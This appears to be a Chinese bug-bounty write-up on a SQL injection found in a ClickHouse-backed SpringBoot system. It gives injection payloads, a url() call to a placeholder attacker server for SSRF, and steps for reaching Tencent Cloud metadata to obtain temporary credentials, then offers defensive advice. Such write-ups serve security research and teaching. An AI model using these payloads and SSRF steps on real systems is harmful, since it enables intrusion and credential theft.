SRC挖掘之“捡”洞系列
字数 1348 2025-09-01 11:25:54

ClickHouse数据库SQL注入漏洞挖掘与分析

1. 漏洞发现背景

在SRC挖掘过程中,发现一个使用ClickHouse数据库的系统存在SQL注入漏洞。ClickHouse是一种开源的列式数据库管理系统(DBMS),主要用于在线分析处理(OLAP)。与传统的关系型数据库如MySQL不同,ClickHouse在语法和功能上有其特殊性。

2. 初始发现过程

2.1 目标识别

  • 目标系统是一个前后端分离的网站,基于SpringBoot框架
  • 发现存在/env端点泄露,但无敏感信息
  • 发现Swagger UI界面,尝试测试接口

2.2 漏洞触发点

  • 测试接口时发现数据库报错信息
  • 报错信息显示系统使用ClickHouse数据库
  • 错误出现在参数处理过程中,表明存在SQL注入可能

3. ClickHouse数据库特性

3.1 基本特点

  • 列式存储数据库,适合大数据分析
  • 语法与传统SQL有差异
  • 系统自带数据库和表,如system.tables

3.2 与MySQL的主要区别

  • 表名格式通常为database.table
  • 注释语法需要分号:;--
  • 特有的函数如url()可用于外部请求

4. 漏洞分析

4.1 原始SQL语句重构

通过报错信息,重构出原始SQL语句大致如下:

SELECT * from apaaslog.tmp 
WHERE 1 = 1 
AND appid = '1' 
AND tenantname != '' 
AND receive_date IN (today(), yesterday()) 
ORDER BY tenantname ASC

4.2 注入点确认

  • 参数logstore存在注入可能
  • 输入/tmp/log触发报错
  • 发现系统对输入进行了特殊处理:删除第一个/后,tmp/log变为/log

4.3 注入技术细节

  1. 表名爆破

    • 发现系统将点号.前的部分识别为数据库名
    • 使用system.tables系统表进行测试
    • 构造payload:$system.tables$
  2. 注释技术

    • ClickHouse中完整注释语法为;--
    • 使用注释绕过后续条件:... AND tenantname != '';--
  3. 联合查询

    • 通过注入执行额外SQL查询
    • 例如查询数据库信息

5. 漏洞利用进阶

5.1 URL函数利用

ClickHouse的url()函数可被用于SSRF攻击:

SELECT * FROM url('http://attacker-controlled-server.com', 'CSV', 'column1 String')

利用场景:

  • 探测内网服务
  • 获取云元数据(如腾讯云metadata)
  • 数据外泄

5.2 实际利用步骤

  1. 通过DNSLog验证SSRF可行性
  2. 探测云元数据端点(如腾讯云的http://metadata.tencentyun.com
  3. 尝试获取临时凭证
  4. 扩大攻击范围

6. 防御建议

6.1 输入验证

  • 对所有用户输入进行严格过滤
  • 使用参数化查询或预编译语句

6.2 配置加固

  • 禁用敏感接口(如/env、Swagger UI)的生产环境访问
  • 限制数据库权限,避免使用高权限账户

6.3 ClickHouse特定防护

  • 限制url()函数的使用
  • 配置网络策略,禁止数据库发起外部请求
  • 定期更新ClickHouse到最新版本

7. 总结

本次漏洞挖掘展示了在非传统数据库中发现SQL注入的技术路径。关键点包括:

  1. 识别数据库类型通过报错信息
  2. 理解特定数据库的语法差异
  3. 利用系统表和函数进行拓展攻击
  4. 将传统SQL注入技术适配到新型数据库环境

这种类型的漏洞在数据分析类系统中尤为危险,因为这类系统通常处理大量敏感业务数据,且安全防护相对传统业务系统较弱。

ClickHouse数据库SQL注入漏洞挖掘与分析 1. 漏洞发现背景 在SRC挖掘过程中,发现一个使用ClickHouse数据库的系统存在SQL注入漏洞。ClickHouse是一种开源的列式数据库管理系统(DBMS),主要用于在线分析处理(OLAP)。与传统的关系型数据库如MySQL不同,ClickHouse在语法和功能上有其特殊性。 2. 初始发现过程 2.1 目标识别 目标系统是一个前后端分离的网站,基于SpringBoot框架 发现存在 /env 端点泄露,但无敏感信息 发现Swagger UI界面,尝试测试接口 2.2 漏洞触发点 测试接口时发现数据库报错信息 报错信息显示系统使用ClickHouse数据库 错误出现在参数处理过程中,表明存在SQL注入可能 3. ClickHouse数据库特性 3.1 基本特点 列式存储数据库,适合大数据分析 语法与传统SQL有差异 系统自带数据库和表,如 system.tables 3.2 与MySQL的主要区别 表名格式通常为 database.table 注释语法需要分号: ;-- 特有的函数如 url() 可用于外部请求 4. 漏洞分析 4.1 原始SQL语句重构 通过报错信息,重构出原始SQL语句大致如下: 4.2 注入点确认 参数 logstore 存在注入可能 输入 /tmp/log 触发报错 发现系统对输入进行了特殊处理:删除第一个 / 后, tmp/log 变为 /log 4.3 注入技术细节 表名爆破 : 发现系统将点号 . 前的部分识别为数据库名 使用 system.tables 系统表进行测试 构造payload: $system.tables$ 注释技术 : ClickHouse中完整注释语法为 ;-- 使用注释绕过后续条件: ... AND tenantname != '';-- 联合查询 : 通过注入执行额外SQL查询 例如查询数据库信息 5. 漏洞利用进阶 5.1 URL函数利用 ClickHouse的 url() 函数可被用于SSRF攻击: 利用场景: 探测内网服务 获取云元数据(如腾讯云metadata) 数据外泄 5.2 实际利用步骤 通过DNSLog验证SSRF可行性 探测云元数据端点(如腾讯云的 http://metadata.tencentyun.com ) 尝试获取临时凭证 扩大攻击范围 6. 防御建议 6.1 输入验证 对所有用户输入进行严格过滤 使用参数化查询或预编译语句 6.2 配置加固 禁用敏感接口(如 /env 、Swagger UI)的生产环境访问 限制数据库权限,避免使用高权限账户 6.3 ClickHouse特定防护 限制 url() 函数的使用 配置网络策略,禁止数据库发起外部请求 定期更新ClickHouse到最新版本 7. 总结 本次漏洞挖掘展示了在非传统数据库中发现SQL注入的技术路径。关键点包括: 识别数据库类型通过报错信息 理解特定数据库的语法差异 利用系统表和函数进行拓展攻击 将传统SQL注入技术适配到新型数据库环境 这种类型的漏洞在数据分析类系统中尤为危险,因为这类系统通常处理大量敏感业务数据,且安全防护相对传统业务系统较弱。